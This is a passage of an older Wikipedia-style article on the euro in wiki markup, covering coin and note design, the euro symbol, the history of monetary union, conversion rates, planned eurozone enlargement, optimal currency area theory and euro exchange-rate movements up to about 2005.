All euro coins (including the [[€2 commemorative coins]]) have a '''common side''' showing the denomination (value) and a '''national side''' showing an image specifically chosen by the country that issued the coin ; the [[Monarchy|monarchies]] often have a picture of their reigning monarch, other countries usually have their national symbols. All coins can be used in all member states: for example, a euro coin bearing the image of the [[Juan Carlos I of Spain|Spanish King]] is legal tender not only in Spain, but also in all other member states where the euro is in use. There are €2, €1, 50c, 20c, 10c, 5c, 2c and 1c coins, though the latter two are not generally used in [[Finland]] or the [[Netherlands]] (but are still legal tender).

All euro banknotes have a '''common design''' for each denomination on both sides. Notes are issued in the following values: €500, €200, €100, €50, €20, €10, €5. Some of the higher denominations are not issued in a few countries, though again, are legal tender.

Both euro coins and banknotes are designed from the start in consultation with organizations representing people suffering from [[blindness]] or other [[visual impairment|vision impairments]]. Both have been designed to facilitate their use by people who may not be able to see the currency very well (or at all).  Cues to aid in identification include gross differences in appearance (colour, size) for banknotes and coins, and tactile cues such as thickness and edge decoration for coins in particular.  Although there have been other currencies predating the euro that were specifically designed in similar ways (different sizes, colours, and ridges) to aid the visually impaired, the introduction of the euro constitutes the first time that the authorities have consulted associations representing the blind before and not after the event.  For details, see the [[euro coins]] and [[euro banknotes]] articles.
&lt;!-- the design of the banknotes is documented in the banknotes article --&gt;

The ECB has set up a [[clearing system]] for large euro transactions ([http://www.ecb.int/paym/target/html/index.en.html TARGET]). 
All intra-[[eurozone]] transfers shall cost the same as a domestic one. This is true for retail payments, although several ECB payment methods can be used. Credit card charging and ATM withdrawals within the eurozone are also charged as if they were domestic. The ECB hasen't standarized paper based payment orders, such as cheques; these are still domestic based.

===The symbol===

{{main|Euro symbol}}
[[Image:EuroConstLarge.png|thumb|220px|right|This is the official construction of the euro logo, which was specified to be printed in [[Pantone Matching System|PMS]] Yellow on a PMS Reflex Blue background]]
A special [[euro symbol|euro currency sign]] (&amp;euro;) was designed, after a public survey had narrowed the original ten proposals down to just two, it was then up to the European Commission to choose the final design. The eventual winner was a design allegedly created by a team of four experts who have not, however, been officially named. The official story of the design history of the euro symbol is [http://observer.guardian.co.uk/print/0,3858,4325292-102275,00.html disputed] by [[Arthur Eisenmenger]], a former chief graphic designer for the [[EEC]], who claims to have created it as a generic symbol of Europe.

The symbol is (according to the [[European Commission]]) &quot;a combination of the Greek [[epsilon]], as a sign of the weight of European civilisation; an E for Europe; and the parallel lines crossing through standing for the stability of the euro&quot;.

The European Commission also specified a euro logo with exact proportions and foreground/background colour tones [http://europa.eu.int/comm/economy_finance/euro/notes_and_coins/symbol_en.htm]. Although some font designers simply copied the exact shape of this logo as the euro sign in their fonts, most designed their own variants, often based upon the capital letter C in the respective font. The illustration at the top of this section shows the official euro logo.

No &quot;official&quot; recommendation is made with regard to the use of a [[cent sign]], and sums are often expressed as decimals of the euro (for example &amp;euro;0.05 rather than 5¢ or 5c). As a result the abbreviations differ between eurozone members. The most used abbreviation is &quot;c&quot;, but other abbreviations also exist, like &quot;¢&quot; (Ireland, but &quot;c&quot; is used more frequently), &quot;ct&quot; (among others: Germany), snt (Finland), the capital letter ''lambda'' (&amp;#923;) (Greece).

Placement of the symbol is also an example of diversity. While the official recommendation is to place it before the number, people in many countries have kept the placement of their former currencies.

==Economic and Monetary Union==

===History (1990-1999)===

:''Main article: [[Economic and Monetary Union of the European Union]]. For earlier monetary history in Europe, see: [[European Monetary System]].
The euro was established by the provisions in the 1992 [[Maastricht]] [[Treaty on European Union]] that was used to establish an [[economic and monetary union]]. In order to participate in the new currency, member states had to meet [[convergence criteria|strict criteria]] such as a [[budget deficit]] of less than three per cent of [[Gross Domestic Product|GDP]], a debt ratio of less than sixty per cent of GDP, combined with low [[inflation]] and [[interest]] rates close to the EU average.

Economist [[Robert Mundell]] is sometimes referred to as the father of the euro.
Other economists that helped include [[Wim Duisenberg]], [[Robert Tollison]] and [[Neil Dowling]].  (For macro-economic theory, see [[#Eurozone as an Optimal Currency Area?| below]]).

Due to differences in national conventions for rounding and significant digits, all conversion between the national currencies had to be carried out using the process of triangulation via the euro.  The ''definitive'' values in euro of these subdivisions (which represent the [[exchange rate]]s at which the currency entered the euro) are as follows:
*13.7603 Austrian [[Austrian schilling|schilling]]s (ATS)
*40.3399 Belgian [[Belgian franc|francs]] (BEF)
*2.20371 Dutch [[Dutch Gulden|gulden]] (NLG)
*5.94573 Finnish [[markka]]a (FIM)
*6.55957 French [[French franc|franc]]s (FRF)
*1.95583 German [[Deutsche mark|mark]] (DEM)
*0.787564 Irish [[Irish pound|pound]]s (IEP)
*1936.27 Italian [[Italian lira|liras]] (ITL)
*40.3399 Luxembourg [[Luxembourgish franc|franc]]s (LUF)
*200.482 Portuguese [[Portuguese escudo|escudo]]s (PTE)
*166.386 Spanish [[Spanish peseta|peseta]]s (ESP)

The above rates were determined by the Council of the European Union, based on a recommendation from the European Commission based on the market rates on [[31 December]] [[1998]], so that one ECU ([[European Currency Unit]]) would equal one euro. (The European Currency Unit was an accounting unit used by the EU, based on the currencies of the member states; it was not a currency in its own right.) These rates were set by Council Regulation 2866/98 (EC), of [[31 December]] [[1998]].  They could not be set earlier, because the ECU depended on the closing exchange rate of the non-euro currencies (principally the [[pound sterling]]) that day.

[[Greece]] failed to meet the criteria for joining initially, so it did not join the common currency on [[1 January]], [[1999]]. It was admitted two years later, on [[1 January]] [[2001]], at the following exchange rate:
*340.750 Greek [[drachma]]s (GRD)

The procedure used to fix the irrevocable conversion rate between the drachma and the euro was different, since the euro by then was already two years old. While the conversion rates for the initial eleven currencies were determined only hours before the euro was introduced, the conversion rate for the Greek drachma was fixed several months beforehand, in Council Regulation 1478/2000 (EC), of [[19 June]] [[2000]].

The currency was introduced in non-physical form (travellers' cheques, electronic transfers, banking, etc.) at midnight on [[1 January]], [[1999]], when the national currencies of participating countries (the eurozone) ceased to exist independently in that their exchange rates were locked at fixed rates against each other, effectively making them mere non-decimal subdivisions of the euro. The euro thus became the successor to the [[European Currency Unit]] (ECU).  The notes and coins for the old currencies, however, continued to be used as [[legal tender]] until new notes and coins were introduced on [[1 January]] [[2002]].

The changeover period during which the former currencies' notes and coins were exchanged for those of the euro lasted about two months, until [[28 February]] [[2002]].  The official date on which the national currencies ceased to be legal tender varied from member state to member state. The earliest date was in [[Germany]]; the [[Deutsche mark|mark]] officially ceased to be legal tender on [[31 December]] [[2001]], though the exchange period lasted two months. The final date was [[28 February]] [[2002]], by which all national currencies ceased to be legal tender in their respective member states. (Note that some of these dates were earlier than was originally planned.) However, even after the official date, they continued to be accepted by national central banks for several years up to forever (Austria, Germany, Ireland, Spain). The earliest coins to become non-convertible were the Portuguese escudos, which ceased to have monetary value after [[31 December]] [[2002]], although banknotes do remain exchangeable until 2022.

Although some countries are not printing the &amp;euro;500 and &amp;euro;200 banknotes, all banknotes are legal tender throughout the eurozone. Finland decided not to mint or circulate one-cent and two-cent coins, except in small numbers for collectors. All cash transactions in Finland ending in one, two, six or seven cents are rounded down, and those ending in three, four, eight or nine cents are rounded up. Despite this convention, the one-cent and two-cent coins are still legal tender in Finland.

===Current eurozone (1999-2007)===

{{main|Eurozone}}
[[Image:Euro map de.png|thumb|right|300px|
{{legend|#4068b8|Eurozone countries}}
{{legend|#f0b261|ERM II countries}}
{{legend|#c55050|other EU countries}}
{{legend|#976dc6|unilaterally adopted euro}}]]

*The euro is sole currency in the following EU member states: [[Austria]], [[Belgium]], [[France]], [[Finland]], [[Germany]], [[Greece]], [[Republic of Ireland|Ireland]], [[Italy]], [[Luxembourg]], the [[Netherlands]], [[Portugal]] and [[Spain]]. These 12 countries together are frequently referred to as the &quot;[[eurozone]]&quot;, or more infomally &quot;euroland&quot; or the &quot;eurogroup&quot;. The euro is also legal currency in the eurozone overseas territories of [[French Guiana]], [[Réunion]], [[Saint-Pierre et Miquelon]] and [[Martinique]]. 

*By virtue of some bilateral [http://europa.eu.int/scadplus/leg/en/lvb/l25040.htm agreements] the European mini states of [[Monaco]], [[San Marino]], and [[Vatican City]] mint their own euro coins on behalf of the [[European Central Bank]].

*[[Andorra]], [[Montenegro]] and [[Kosovo]] adapted the foreign euro as their legal currency for movement of capital and payments without participation in the [[ESCB]] or the right to mint coins. Andorra is in the process of entering a monetary agreement similar to Monaco, San Marino, and the Vatican City.

===Future prospects (2007-)===

====Pre-2004 EU members====

From the launch of the euro in [[1999]] until [[2004]] [[Denmark]], [[Sweden]] and the [[United Kingdom]] were the only EU member states outside the monetary union. The situation for the three older member states also looks different than for the ten new EU members; all three have no clear roadmap for adopting the euro:

[[Image:Anti.emu.sweden.jpg|thumb|180px|right|Swedish anti-euro propaganda from 2003 by the [[Green Youth (Sweden)|Green Party's youth organization]]. The text translates as &quot;[[Economic and monetary union|EMU]] and solidarity&quot;.]]
* [[Sweden]]: According to the [[1995]] accession treaty, Sweden is required to join the euro and therefore must convert to the euro at some point. Notwithstanding this, on [[14 September]] [[2003]], a consultative Swedish [[Referenda in Sweden|referendum]] was held on the euro, the result of which was a rejection of the common currency.  The Swedish government has argued that such a line of action is possible since one of the requirements for eurozone membership is a prior two-year membership of the ERM II. By simply choosing to stay outside the exchange rate mechanism, the Swedish government is provided a formal loophole avoiding the theoretical requirement of adopting the euro. Some of Sweden's major parties continue to believe that it would be in the national interest to join, but they have all pledged to abide by the results for the time being and show no interest in raising the issue again.

* the [[United Kingdom]]'s [[eurosceptics]] believe that the single currency is merely a stepping stone to the formation of a unified European superstate, and that removing Britain's ability to set its own interest rates will have detrimental effects on its economy. Others in the UK, usually joined by eurosceptics, advance several economic arguments against membership: the most cited one concerns the large unfunded pension liabilities of many continental European governments (unlike in the UK) which would, with a greying population, depress the currency in the future against the UKs interests. The contrary view is that, since intra-European exports make up to 50% of the UK's total, it eases the Single Market by removing currency risk, although financial derivatives are becoming more accessable to small UK businesses thereby allowing businesses to offset this risk. An interesting parallel can be seen in the 19th century discussions concerning the possibility of the UK joining the [[Latin Monetary Union]] [http://www.oup.co.uk/pdf/0-19-924366-2.pdf].  The UK government has set [[five economic tests]] that must be passed before it can recommend that the UK join the euro; however, given the relatively subjective nature of these tests it seems unlikely that they would be held to be fulfilled whilst public opinion remains so strongly against participation. 

* [[Denmark]] negotiated a number of opt-out clauses from the [[Maastricht treaty]] after it had been rejected in a first referendum. In 2000, another referendum was held in Denmark regarding the euro; once more, the population decided to stay outside the [[eurozone]] for now. However, Danish politicians have suggested that debate on abolishing the four opt-out clauses may possibly be re-opened in 2006. In addition, Denmark has pegged its [[krone]] to the euro (&amp;euro;1 = DKr7.460,38 ± 2.25%) as the krone remains in the [[ERM]].

====Post-2004 EU members====

In [[2004]] the 10 new EU member states had a currency other than the euro, however those countries are required by their [[Treaty on the Accession of 10 new Member States|Accession Treaties]] to join the euro. 
Since some of them already comply with the [[convergence criteria]], these countries have already joined the [[European Exchange Rate Mechanism]], ERM II and are set to join the euro ([[Economic and Monetary Union of the European Union|EMU III]]) as follows: 

*[[1 January]], [[2007]] for [[Estonia]], [[Slovenia]] and [[Lithuania]]. 
*[[1 January]], [[2008]] for [[Cyprus]], [[Latvia]] and [[Malta]] 
*[[1 January]], [[2009]] for [[Slovakia]]
*[[January|Mid-january]] [[2009]] for [[Bulgaria]]
*[[1 January]], [[2010]] for the [[Czech Republic]] and [[Hungary]]. 
*[[2011]] or later for [[Poland]] and [[Romania]]

([http://www.lb.lt/news/pg.dll?lng=EN&amp;did=1014 1]; [[Estonian euro coins|Estonia]], [[Lithuanian euro coins|Lithuania]], [[Slovak euro coins|Slovakia]] and [[Slovenian euro coins|Slovenia]] have already finalised the design for the country's coins' obverse side.[http://www.eestipank.info/pub/en/majandus/euroopaliit/euro/kavand/_1kava.html 1] [http://www.eestipank.info/pub/en/yldine/press/pressiteated/pt2004/_20041215.html 2]
[http://www.bsi.si/html/eng/projects/euro/evro01.pdf 3]
[http://www.lb.lt/eng/euro/euro.htm 4]).

[[Bulgaria]] and [[Romania]] are not yet members of the EU, but being scheduled to enter on [[January 1]] [[2007]].

* The [[Bulgarian National Bank]] and the Bulgarian government have agreed on the introduction of the euro in mid-2009, when the [[Bulgarian National Bank]] is expected to become part of the EMU and will receive the right to issue Bulgarian euro coins. The early accession to the EMU is due to existing [[currency board]] agreement that was signed in 1997 to help put an end to the deep financial crisis and foreign debt reimbursement problems. The agreement effectively binds the Bulgarian lev to the euro (between 1997 and 1999, before the euro came into existence, the lev was bound to the German mark). As a consequence, [[Bulgaria]] has fulfilled the great majority of the EMU membership criteria.

* In [[Romania]], the [[National Bank of Romania|National Bank]] retained its monetary policy attributes throughout the financial crisis of the 1990s (which gradually ended). Hence, [[Romania]]'s accession to the EMU will take more time. It is likely that [[Romania]] will  join the eurozone in the 2010&amp;ndash;12 period, and strategies have been established to this end. To simplify future adjustments to [[Automatic  teller machine|ATMs]] at the adoption of the euro, when the Romanian new Leu was adopted in 2005 (at 10,000 old Lei to 1 new Leu) the new banknotes were issued to the same physical proportions as euro banknotes, the old leu notes being substantially longer in relation to their width.

====Public opinion after the European Constitution referenda==== 

Although the failure of the [[European Constitution]] to be ratified would have no direct impact on the status of the euro, some debate regarding the euro arose after the negative outcome of the French and Dutch referenda in mid 2005.

*A poll by Stern magazine released [[1 June]] [[2005]] found that 56% of Germans would favour a return to the mark. [http://www.stern.de/presse/vorab/?id=541124&amp;q=eichel%20category:presse]
*Members of the [[Northern League (Italy)|Northern League]] Italian nationalist political party have discussed calling a referendum to return Italy to the Lira. [http://washingtontimes.com/world/20050614-114629-8803r.htm]
*Members of the [[Movement for France]] political party have proposed holding a referendum to return France to the Franc. [http://news.scotsman.com/international.cfm?id=664902005]
*In contrast to Germany a poll in Austria on [[7 June]] [[2005]] showed the overwhelming support of the euro: 73 percent of the sample said they preferred to keep the common currency with only 21 percent in favour of returning to the old currency the schilling. [http://www.vienna.at/engine.aspx/page/vienna-article-detail-page/cn/vol-news-willie-20050607-011305/dc/tp:vol:oesterreich]

However, soon after these suggestions were made, the [[European Commission]] issued a statement denying any possibility of this, stating &quot;the euro is here to stay&quot;. &lt;!-- personal views on this go in Discussion page --&gt;

==Eurozone as an Optimal Currency Area?==

{{main|Optimal Currency Area - Eurozone}}

In economic theory the degree of fullfillment of the following four criteria indicate whether an area is optimal for a monetary union. These criteria are often called the [[Optimal Currency Area]] (OCA) criteria. Although these criteria are not exhaustive and far from absolute, they are generally accepted as a sufficient measure. There are three economic criteria (labour and capital mobility, product diversification, and openness) and one political criterion (fiscal transfers). All these criteria stand in relation to the ability to deal with asymmetric shocks (i.e. shocks that only hit one area). Symmetric shocks are less problematic in a currency area as the currency will depreciate or appreciate to the needed level for all areas (as this level is the same for all areas), while asymmetric shocks will create an exchange rate that is too high for one area and one that is too low for the other. This causes wage and price changes and unemployment problems.

*[[Robert A. Mundell]] formulated the idea that perfect [[capital]] and [[labour mobility]] would mitigate the adverse consequences of asymmetric shocks in a currency area. While capital is quite mobile in the eurozone, labour mobility is relatively low, especially when compared to the [[USA]] and [[Japan]].

*[[Peter Kenen]] formulated the idea that widely diversified production and export structures that are similar between the areas that form the currency area lower the effect and probability of asymmetric shocks. The eurozone scores quite well on this criterion, and monetary integration seems to further improve the diversification of production structures.

*[[Ronald McKinnon]] formulated the idea that areas which are very open to [[trade]] and trade heavily with each other form an optimum currency area. This is because the high trade intensity will lower the significance of the distinction between domestic and foreign [[goods]] as [[competition]] will equalize the [[prices]] of most goods, independently of [[exchange rate]]s. The eurozone members trade heavily with each other, and all evidence so far seems to indicate that the monetary union has at least doubled trade between members.

*The term [[fiscal]] transfers refer to the transfer of money between areas. This could decrease the adverse consequences of asymmetric shocks as the areas that are hit, would receive money. This would create a counter [[Business cycle|cyclical]] effect and thus lower the price and wage changes and unemployment wouldn't rise as much. In reality however there is a no-bail out clause in the [[Stability and Growth Pact]], meaning that fiscal transfers are not allowed.

In general, economic research state that is impossible to say whether eurozone members would benefit from a currency area, as two important criteria support a monetary union, while at the same time two important criteria oppose such an union.

==Effects of the single currency==

[[Image:La2-euro.jpg|thumb|left|180px|The euro Light Sculpture in [[Frankfurt]]]]
The introduction of a single currency for many separate countries presents a number of advantages and disadvantages for the participating nations. Opinions differ on the actual effects of the euro so far, as most of them will take years to understand. Theories and predictions abound.

===Removal of exchange rate risk===

One of the most important benefits of the euro will be lowered [[exchange rate]] risks, which will make it easier to invest across borders. The risks of changes in the value of respective currencies has always made it risky for companies or individuals to invest or even import/export outside their own currency zone. Profits could be quickly eliminated as a result of exchange rate fluctuations. As a result, most investors and importers/exporters have to either accept the risk or [[Hedging|&quot;hedge&quot;]] their bets, resulting in further costs on the financial markets. Consequently, it is less appealing to invest outside one’s own currency zone. The eurozone greatly increases the potentially &quot;exchange-risk free&quot; investment area. Since Europe’s economy is heavily dependent on intra-European exports, the benefits of this effect can hardly be overstated. This is particularly important for countries whose currencies have traditionally fluctuated a great deal such as the Mediterranean nations. 

At the same time, this is likely to increase foreign investment in countries with more liberal markets and reduce that in those with rigid markets. Some people worry that thus will see profits flowing away from particular member states to the detriment of their traditional social values. It might also result in the reduction of local decision makers in businesses.

===Removal of conversion fees===

A benefit is the removal of [[bank]] transaction charges that previously were a cost to both individuals and [[business]]es when exchanging from one national currency to another. Although not an enormous cost, multiplied thousands of times, the savings add up across the entire economy.

For electronic payments (e.g. [[credit cards]], [[debit cards]] and [[cash machine]] withdrawals), banks in the [[eurozone]] must now charge the same for intra-member cross-border transactions as they charge for domestic transactions. Banks in [[France]] have attempted to circumvent this regulation by charging for all bank transfers (domestic and cross-border) unless the transfer is instructed via [[online banking]] &amp;mdash; a method through which they do not offer cross-border payments. In this way, banks in [[France]] continue to charge more for cross-border transfers than for domestic transfers.{{fact}}

===Deeper financial markets===

Another significant advantage of switching to the euro is the creation of deeper financial markets. Financial markets on the continent are expected to be far more [[market liquidity|liquid]] and flexible than they were in the past. There will be more competition for, and availability of financial products across the union. This will reduce the financial servicing costs to businesses and possibly even individual consumers across the continent. The costs associated with public debt will also decrease. It is expected that the broader, deeper markets will lead to increased stock market [[capitalisation]] and investment. Larger, more internationally competitive financial and business institutions may arise.

===Price parity===

Another effect of the common European currency is that differences in prices&amp;mdash;in particular in price levels&amp;mdash;should decrease. Differences in prices can trigger [[arbitrage]], e.g. artificial trade in a commodity between countries purely to exploit the price differential, which will tend to equalise prices across the euro area. It is held that this is supposed to result in increased competition or consolidation of companies, which should help to contain inflation and which therefore will be beneficial to consumers. Similarly, price transparency across borders is said to benefit consumers find lower cost goods or services. There is no universally accepted scientific theory based on firm evidence that this is an inevitable consequence, but rather is more likely to come about, if and when it does, due to popular belief in this system.

===Competitive funding===

Competitive funding is also a benefit for many countries (and companies) that adopted the euro.  National and corporate [[bond]]s denominated in euro are significicantly more liquid and have lower interest rates than was historically the case when denominated in legacy currency.  Likewise, companies have greater freedom to borrow competitively from cross-border banks without incurring exchange rate risk.  This has forced the incumbent banks to reduce their rates to compete.  &lt;!-- Ireland provides an example of both.  I'm sure that a web search will find.  --&gt;

===Macroeconomic stability===

Improved macroeconomic stability is an important benefit of the euro for the entire continent. Much of Europe has been susceptible to economic problems such as [[inflation]] throughout the last 50 years. Inflation is a very damaging phenomenon from most of society’s perspective. It discourages investment, can cause social unrest, and causes problems for those on fixed incomes and for [[tax]]ation. However, many countries have been unable or unwilling to deal with serious inflationary pressures. They often have other priorities that compromise their ability to do so. Sometimes their economic clout is simply insufficient, sometimes their parliamentary seats are at risk if they do. However, there have been models, particularly in those with largely independent central banks, that have successfully countered inflation. One such bank was the [[Bundesbank]] in Germany; since the European Central Bank is modeled on the Bundesbank, is independent of the pressures of national governments. Since it has a mandate to keep inflationary pressures low, prices in Europe have been after the euro’s introduction. ([[Eurostat]] data confirms this, nevertheless many citizens perceive it not to be the case).  Unlike the [[Federal Reserve]] in the USA, it does not have a second objective to sustain growth and employment and consequently seems too conservative.  This is discussed further in article [[ECB]].  &lt;!-- Advice to editors: this article is already too long and this is only a summary, so if at all possible please develop the ECB article instead of this one --&gt;

===Less-specific monetary policy===

Some economists are concerned about the possible dangers of adopting a single currency for a large and diverse area. Because the eurozone has a single [[monetary policy]], and so a single [[interest rate]], set by the ECB, it cannot be fine-tuned for the economic situation in each individual country (however, prior to the introduction of the euro, exchange rates volatility had reduced substantially after the European currency crisis in the early 1990s). [[Public investment]] and [[fiscal policy]] in each country is thus the only way in which government-led economic stimulus can be introduced specific to each region or nation. This inflexible interest rate might stifle growth in some areas, while over-promoting it in others. The result could be extended periods of economic depression in some areas of the continent, disadvantaged by the central interest rate. Given such a situation resentment and friction within the community, and toward the bank, might well increase. Others point out that in today's globalised economy, individual countries do not really have power to effectively manage their monetary policy, as it creates other imbalances. This effect was already visible in the last European currency crises of 1992, when the Bundesbank was effectively coordinating monetary policy for the whole continent.

Some proponents of the euro point out that the eurozone is similar in size and population to the [[United States]], which has a single currency and a single monetary policy set by the [[Federal Reserve]]. However, the individual states that make up the USA have less [[regional autonomy]] and a more homogeneous economy than the nations of the EU. Of particular concern in accordance with this theory is the notion that the economies of the EU may not all be 'in sync'&amp;mdash; each may be at a different stage in the [[boom and bust]] cycle, or just be experiencing different inflationary pressures. [[Labour mobility]] is also much lower in the eurozone than across the United States, largely due to the vast differences in language and culture between European nations, and despite labour, capital and goods full mobility rules.

It can also be argued that a single currency works for the USA because the [[US dollar]] is a hegemonic currency.  Before the euro, eighty per cent of the world's currency reserves were held in US dollars.  This gives the US economy a huge subsidy in that reserve dollars are invested in US institutions or foreign institutions under US control. This subsidy helps cushion the effects of a possible strong dollar hurting certain regions of the USA.  

If the euro were to become either a hegemonic currency replacing the dollar or a co-hegemonic currency equal in reserve status to the dollar, some of the subsidy the USA gains would be transferred to the EU and help balance out some of the problems of the present heterogeneous economic structure still in place.

===A new reserve currency?===

The euro will probably become one of two, or perhaps three, major global [[reserve currency|reserve currencies]]. Currently, international currency exchange is dominated by the [[United States dollar|U.S. dollar]] (USD). The U.S. dollar is used by banks world-wide as a stable reserve on which to ensure their liquidity and international transactions and investments are often made in U.S. dollars.

A currency is attractive for foreign transactions when it demonstrates a proven track record of stability, a well-developed financial market to dispose of the currency in, and proven acceptability to others. The euro will almost certainly be able to match these criteria at least as well as the U.S. dollar, so given some time to become accepted, it will likely begin to take its place alongside the dollar as one of the world’s major international currencies.

There are several benefits to reserve currencies of being such an internationally acceptable currency. If the euro were to become a reserve currency it would benefit member countries by lowering the service charges on their [[debt|debts]]. Since the currency would be so broadly acceptable it would make the premiums paid to debt holders lower, since the risk to the borrower is lower. It is estimated that the United States government currently saves 10-15 billion dollars a year on 2 trillion dollars of international debt because of this principle. The issuer of the reserve currency is freer to pursue macroeconomic policy adjustments to suit its own needs in terms of financing its debt, or influencing other countries. Reserve status would also lower the cost of many commodities for Europeans.

===The euro and oil===

The eurozone consumes more imported [[petroleum]] than the [[United States]].  This would mean that more euros than US dollars would flow into the [[OPEC]] nations, but oil is priced by those nations in US dollars only.  There have been frequent discussions at OPEC about pricing oil in euros, which would have various effects, among them, requiring nations to hold stores of euros to buy oil, rather than the US dollars that they hold now. [[Venezuela]] under [[Hugo Chávez]] has been a vocal proponent of this scheme, despite selling most of its own oil to the United States. Another proponent was [[Saddam Hussein]] of [[Iraq]], which holds the world's second largest oil reserves. Since 2000 Iraq had used the euro as oil export currency. In 2002, Iraq changed its US dollars into euro, a few months prior to the [[2003 invasion of Iraq]]. If implemented by the [[OPEC]], the changeover to the euro would be a transfer of a '[[Float (money supply)|float]]' that presently subsidises the United States to subsidise the European Union instead. Another effect would be that the price of oil in the eurozone would more closely follow the world price. When oil prices skyrocketed to almost 50 USD/barrel in August 2004, the oil price in euros didn't change nearly as much because of the concurrent rise in the exchange rate of the euro to the US dollar (to an exchange rate of EUR 1.00 = USD 1.33 in December 2004). Similarly, should oil prices lower significantly, together with the USD/EUR exchange rate, the oil price in the eurozone would not fall as much. On the other hand, if the exchange rate and the oil price move in different directions, oil price changes are magnified. Pricing oil in euros would nullify this dependency of European oil prices on the USD/EUR exchange rate.

On [[March 20]], [[2006]], [[Iran]] is planning to open an [[International Oil Bourse]] (IOB, exchange) for the express purpose of trading oil priced in other currencies, including [[Petroeuro|euros]].

==Euro exchange rate==

===Flexible exchange rates===

One of the implications of the [[Mundell-Fleming Model]] is the fact that when an economy combines international capital mobility with monetary autonomy, it cannot at the same time maintain a fixed exchange rate (as increasing the [[money supply]] would result in a [[depreciation]] of the currency). In the years following the [[Single European Act]] the EU has liberalized its capital markets, and as the [[ECB]] has chosen for monetary autonomy, the [[exchange rate regime]] of the euro is flexible or [[Floating exchange rate|floating]]. In other words, the ECB does not use the exchange rate instrument and in general does not intervene on the foreign exchange rate markets. This explains why the exchange rate of the euro vis-à-vis other currencies is characterized by strong fluctuations. Most notable are the fluctuations of the euro vs. the [[US dollar]], another freely floating currency.

===Against other major currencies===

After the introduction of the euro, its exchange rate against other currencies, especially the [[US dollar]], declined heavily. At its introduction in 1999, the euro was traded at USD1.18; on [[26 October]] [[2000]], it fell to an all time low of $0.8228 per euro. It then began what at the time was thought to be a recovery; by the beginning of 2001 it had risen to nearly $0.96. It declined again, although less than previously, reaching a low of $0.8344 on [[6 July]] [[2001]] before commencing a steady appreciation. In the wake of U.S. corporate scandals, the two currencies reached parity on [[15 July]] [[2002]], and by the end of 2002 the euro had reached $1.04 as it climbed further.

On [[23 May]] [[2003]], the euro surpassed its initial ($1.18=€1.00) trading value for the first time. At the end of 2004, it had reached a peak of $1.3668 per euro (€0.7316 per $) as the US dollar fell against all major currencies. At that time, some analysts expected the dollar to continue to fall, a few even suggesting $1.60 per euro by the end of 2005, fuelled by the so called twin deficit of the US accounts. However, the dollar recovered in 2005, rising to $1.18 per euro (€0.85 per $) in July 2005 (and stable throughout the second half of 2005). The fast increase in US interest rates during 2005 had much to do with this trend.

*[http://www.ecb.int/stats/exchange/eurofxref/html/index.en.html Current and historical exchange rates against 29 other currencies (European Central Bank)]
*[http://newsvote.bbc.co.uk/1/shared/fds/hi/business/market_data/currency/13/12/twelve_month.stm Current dollar/euro exchange rates (BBC)]
*[http://www.kshitij.com/graphgallery/eurmth.shtml Historical exchange rate from 1971 till now]

===Currencies pegged to the euro===

{{main|Currencies related to the euro}}

There are a number of foreign currencies that were pegged to a European currency and are now currencies related to the euro:  the [[Cape Verdean escudo]], the [[Bosnia and Herzegovina convertible mark]], the [[CFP franc]], the [[CFA franc]] and the [[Comorian franc]].
 
In total, the euro is the official currency in 15 states and territories outside the European Union. In addition, 22 states and territories have a national currency that are directly pegged to the euro including fourteen West African countries, three French Pacific territories, two African island countries and three Balkan countries.

===Drivers=== 

Part of the euro's strength in the period 2001-2004 was thought to be due to more attractive [[interest]] rates in Europe than in the United States. The US [[Federal Reserve]] had maintained lower rates than the [[European Central Bank|ECB]] for these years, despite key European economies, notably Germany, growing relatively slowly or not at all. This is attributed in part to the ECB's duty to check inflation across the eurozone, which in high-performing countries such as [[Republic of Ireland]] is above the ECB's target.  

However, although the interest rate differential formed part of the backdrop, the main ''a posteriori'' justification for the euro's continuing ascent against the dollar was the concern over the huge unsustainable US [[current account]] [[deficit]]s. The market has been awash with concerns about the US [[twin deficit]]s, which have been a key driver of dollar weakness. The US [[budget deficit]] is about $427 [[billion]], or 3.7% of [[gross domestic product]] (GDP), while the current account&amp;mdash;the broadest trade measure since it adds investment flows&amp;mdash;hit a record $166.18bn shortfall in the second quarter of 2004.

A key factor is that a number of Asian currencies are rising less against the dollar than is the euro. In the case of China, the [[renminbi]] was until recently pegged against the dollar, whilst the Japanese [[yen]] is supported by intervention (and the threat of it) by the [[Bank of Japan]]. This means much of the pressure from a falling dollar is translated into a rising euro.

The euro's climb from its lows began shortly after it was introduced as a cash currency.  In the time between 1999 and 2002, [[euroscepticism|eurosceptics]] believed that the weak euro was a sign that the euro experiment was doomed to fail.  It may be that its weakness in this period was due to low confidence in a currency that did not exist in &quot;real&quot; form. While the overt conversion to notes and coins had not yet occurred, it remained possible that the project could fail. Once the euro became &quot;real&quot; in the sense of existing in the form of cash, confidence in the euro rose and the increasing perception that it was here to stay helped increase its value. This effect was probably significant in the euro's decline and recovery between 1999 and 2002, but other factors are more significant since then. 

Another factor in the early decline of the euro was that many investors and [[central banks]] sold large portions of their legacy (national) currency holdings once the irrevocable exchange rates were set, as the goal of holding multiple currencies is to dampen losses when one currency falls. Once the exchange rates between eurozone countries were pegged against each other, holdings in German [[German mark|marks]] and French [[French franc|francs]] (for example) became identical. There is also some reason to believe that significant sums of illegally held money were sold for dollars to avoid an official and public exchange for euros.{{citationneeded}}

===Consequences===

Despite the euro's rise in dollar-denominated value, as well as those of other major and minor currencies, the US trade deficits continue to rise.  Economic theory would suggest that a fall in the dollar and a rise in the euro should lead to an improvement in US exports and a decline in US imports, as the former becomes cheaper and the latter more expensive. However, this depends to some extent on how currency costs are passed down the supply chain. Furthermore, the declining dollar makes foreign investment in the US cheaper (although also reducing the return), so that continuing foreign investment may underpin the dollar to some extent.

The role of the dollar as the world's [[de facto]] reserve currency helps support both the dollar and the US budget deficit &amp;mdash; but it depends on the continued willingness of foreigners to finance both. Central banks and others finance the budget by acquiring newly-issued, dollar-denominated US government bonds, which they need to acquire dollars for. If at some point foreigners become unwilling to accept new bonds at the prevailing interest rate (perhaps because the falling dollar is reducing the bonds' value too much), the dollar will fall even more &amp;mdash; or the US will have to raise interest rates, which would reduce economic growth.

